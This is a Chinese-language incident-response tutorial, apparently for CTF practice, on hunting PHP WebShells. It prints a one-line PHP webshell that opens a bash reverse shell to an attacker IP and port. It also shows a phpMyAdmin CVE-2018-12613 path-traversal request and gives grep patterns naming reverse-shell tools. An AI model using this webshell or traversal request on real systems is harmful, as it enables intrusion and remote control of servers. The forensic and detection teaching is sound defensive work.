root@yjxy26:~# ▊ 应急响应 · 系列 03 · WebShell 排查
INCIDENT RESPONSE · WEBSHELL

藏在服务器里的
那扇后门网页

WebShell 是攻击者在服务器上留下的"遥控器"——一个能执行系统命令的网页。本章教你:认出它、找到它、读懂它的反弹 Shell,并把攻击者的 IP/端口挖出来。

对象:PHP 一句话 / 反弹 Shell 难度:入门→进阶 关键词:eval / system / /dev/tcp
01 · Concept

什么是 WebShell

一句话:能通过 HTTP 执行系统命令的网页文件。它伪装成普通 .php,实际内部调用系统函数。常见角色:

类型特点特征串
一句话木马极短,通过 POST 参数传命令eval($_POST[...])
命令执行型直接执行命令/反弹 shellsystem(...) shell_exec
大马带界面,文件管理+命令终端大量函数 + 界面 HTML
冰蝎/蚁剑加密通信的"现代马"base64 解码 + 动态 eval
一句话理解 正常网页 = "展示数据"。WebShell = "把服务器当命令行用"。它的存在本身就是入侵实锤,且能读出攻击者的内网 IP 和计划。
02 · Signature

特征签名:一眼认出危险函数

大白话:看到这些函数名出现在 php 文件里 = 这文件能"执行命令 / 执行代码"。正常页面 99% 用不到它们,出现就要警惕。

危险函数黑名单(PHP)
执行命令:  system | exec | shell_exec | passthru | popen | proc_open
执行代码:  eval | assert | create_function | preg_replace(/e/)
变量接收:  $_GET | $_POST | $_REQUEST | $_COOKIE
解码混淆:  base64_decode | gzinflate | str_rot13 | chr()
文件操作:  file_put_contents | fwrite | move_uploaded_file
注意误报 框架本身(Laravel/ThinkPHP)也会用 eval 和 base64_decode。所以不能只靠函数名,要结合:文件位置(不该有 php 的目录)+ 创建时间 + 是否含 $_GET/$_POST 的输入回显。
03 · Hunt

全盘定位 WebShell

招式 1 · 按关键词全文搜

覆盖 www / mysql 数据目录 / 上传目录 / tmp
grep -rlE "eval\s*\(|system\s*\(|shell_exec|passthru|assert\s*\(" \
  /var/www /var/lib/mysql /tmp /var/tmp /dev/shm 2>/dev/null
# -r 递归  -l 只列文件名

招式 2 · 按创建时间找(最近修改的 php)

攻击者写入的木马一定是"新"的
find / -name "*.php" -mtime -90 2>/dev/null
# -mtime -90 = 90 天内修改。结合攻击时间窗口缩小范围
find / -name "*.php" -newer /var/log/secure -type f 2>/dev/null

招式 3 · 可疑目录人工翻

木马常藏在不该有 php 的地方:/tmp、/var/lib/mysql、/var/tmp、/dev/shm、上传目录、图片目录(图片马)。

本案例:木马藏进了 mysql 数据目录
ls -la /var/lib/mysql/
-rw-r-----  root  syscache.php  136  Dec 19  2025  ← 不是数据库文件!
cat /var/lib/mysql/syscache.php
<?php @system('bash -i >& /dev/tcp/192.168.189.128/53218 0>&1'); ?>
本案例关键 文件名 syscache.php 伪装成"系统缓存",位置在 mysql 数据目录——既不像 PHP 又能被 phpMyAdmin 目录穿越读到。命名 + 位置双重伪装是 CTF 常见手法。
04 · Reverse Shell Anatomy

反弹 Shell 逐字解剖

先看图再读代码——"反弹"二字的由来:不是攻击者连服务器,而是服务器主动连攻击者。因为被黑服务器常在防火墙/内网后面,攻击者连不进来,只能让它自己"爬"出来。

工作原理:服务器主动连攻击者
 攻击者电脑 192.168.189.128           被黑服务器
 ┌─────────────────┐               ┌─────────────────┐
 │  nc -lvp 53218  │◄────TCP───────│  bash -i 反弹    │
 │  (监听 53218)  │   反向连接     │  (主动连出来)  │
 └─────────────────┘               └─────────────────┘
   远程输命令 ───────────────────────────► 服务器执行
   执行结果 ◄─────────────────────────── 传回攻击者
bash -i >& /dev/tcp/192.168.189.128/53218 0>&1
片段含义
bash -i启动交互式 shell(有提示符、可输入)
>&把标准输出+错误重定向到后面
/dev/tcp/IP/PORTbash 内置的 TCP 连接写法——连到 攻击者 IP:端口
0>&1把标准输入也接到同一连接(远程能输入命令)
取证价值 反弹 Shell 一行代码直接给出三个答案:攻击者 IP(192.168.189.128)、监听端口(53218)、攻击手段(WebShell → 反弹)。这是应急响应题的送分点,也是交叉验证 access_log 的铁证。
05 · Case Study

实战案例:完整攻击链还原

先补一个概念再读源码:LFI(本地文件包含) = 让服务器把它自己磁盘上的文件读出来发给你。phpMyAdmin 的老漏洞 CVE-2018-12613 就是这样——攻击者只需在 URL 里塞一段 target=.../../../../../etc/passwd,服务器就把 /etc/passwd 内容乖乖吐出来。这就是整条链的入口。

本次攻击链 · 总览
192.168.189.128(攻击者)
  │ ① 目录扫描(22:10 一连串 404)
  ▼
  │ ② phpMyAdmin LFI 读 /etc/passwd(22:14:37 → 200)
  ▼
  │ ③ 读取木马 syscache.php 源码(22:15:10 → 200)
  ▼
  │ ④ 触发反弹 shell → 192.168.189.128:53218(拿到 root)
日志 + 文件交叉验证
① access_log:攻击者读到了 webshell 源码
22:15:10  GET /phpMyAdmin/index.php?target=db_sql.php%253f/../../../../var/lib/mysql/syscache.php → 200

② webshell 内容 = 反弹 shell 到攻击者
<?php @system('bash -i >& /dev/tcp/192.168.189.128/53218 0>&1'); ?>

③ 结论
入口:phpMyAdmin CVE-2018-12613 文件包含(LFI)
落地:/var/lib/mysql/syscache.php(伪装木马)
结果:反弹 root shell → 192.168.189.128:53218
06 · Response

处置与避坑

处置顺序(先取证后处置) ① 保存证据:先 cp 一份木马副本,记录 md5 —— 别一上来就删。
② 记录关联:木马路径、创建时间、access_log 对应请求 —— 答题要的是证据链。
③ 再处置:隔离文件(改权限/移出 web 目录),修补入口漏洞(本例是 phpMyAdmin 升级)。
坑 · 只删马不堵洞 只删 WebShell 不修入口 = 攻击者随时能再传一个。答题/处置都要双向:清木马 + 封漏洞。
坑 · 混淆木马 现代木马会 base64_decode(gzinflate(...)) 混淆。看到一堆乱码字符串 + eval 组合,直接当木马处理,别试图读明文。
07 · Cheatsheet

命令速查卡

WebShell 排查 · 一条龙

grep -rlE "eval\s*\(|system\s*\(|shell_exec|passthru" /var/www /var/lib/mysql /tmp 2>/dev/null
find / -name "*.php" -mtime -90 -type f 2>/dev/null
grep -rlE "base64_decode\s*\(.*eval" / 2>/dev/null # 混淆马
grep -rlE "dev/tcp|bash -i|nc -e|perl -e" /var/www /tmp 2>/dev/null # 反弹 shell
md5sum /path/to/webshell.php # 存证据
grep "syscache" /var/log/httpd/access_log # 找访问记录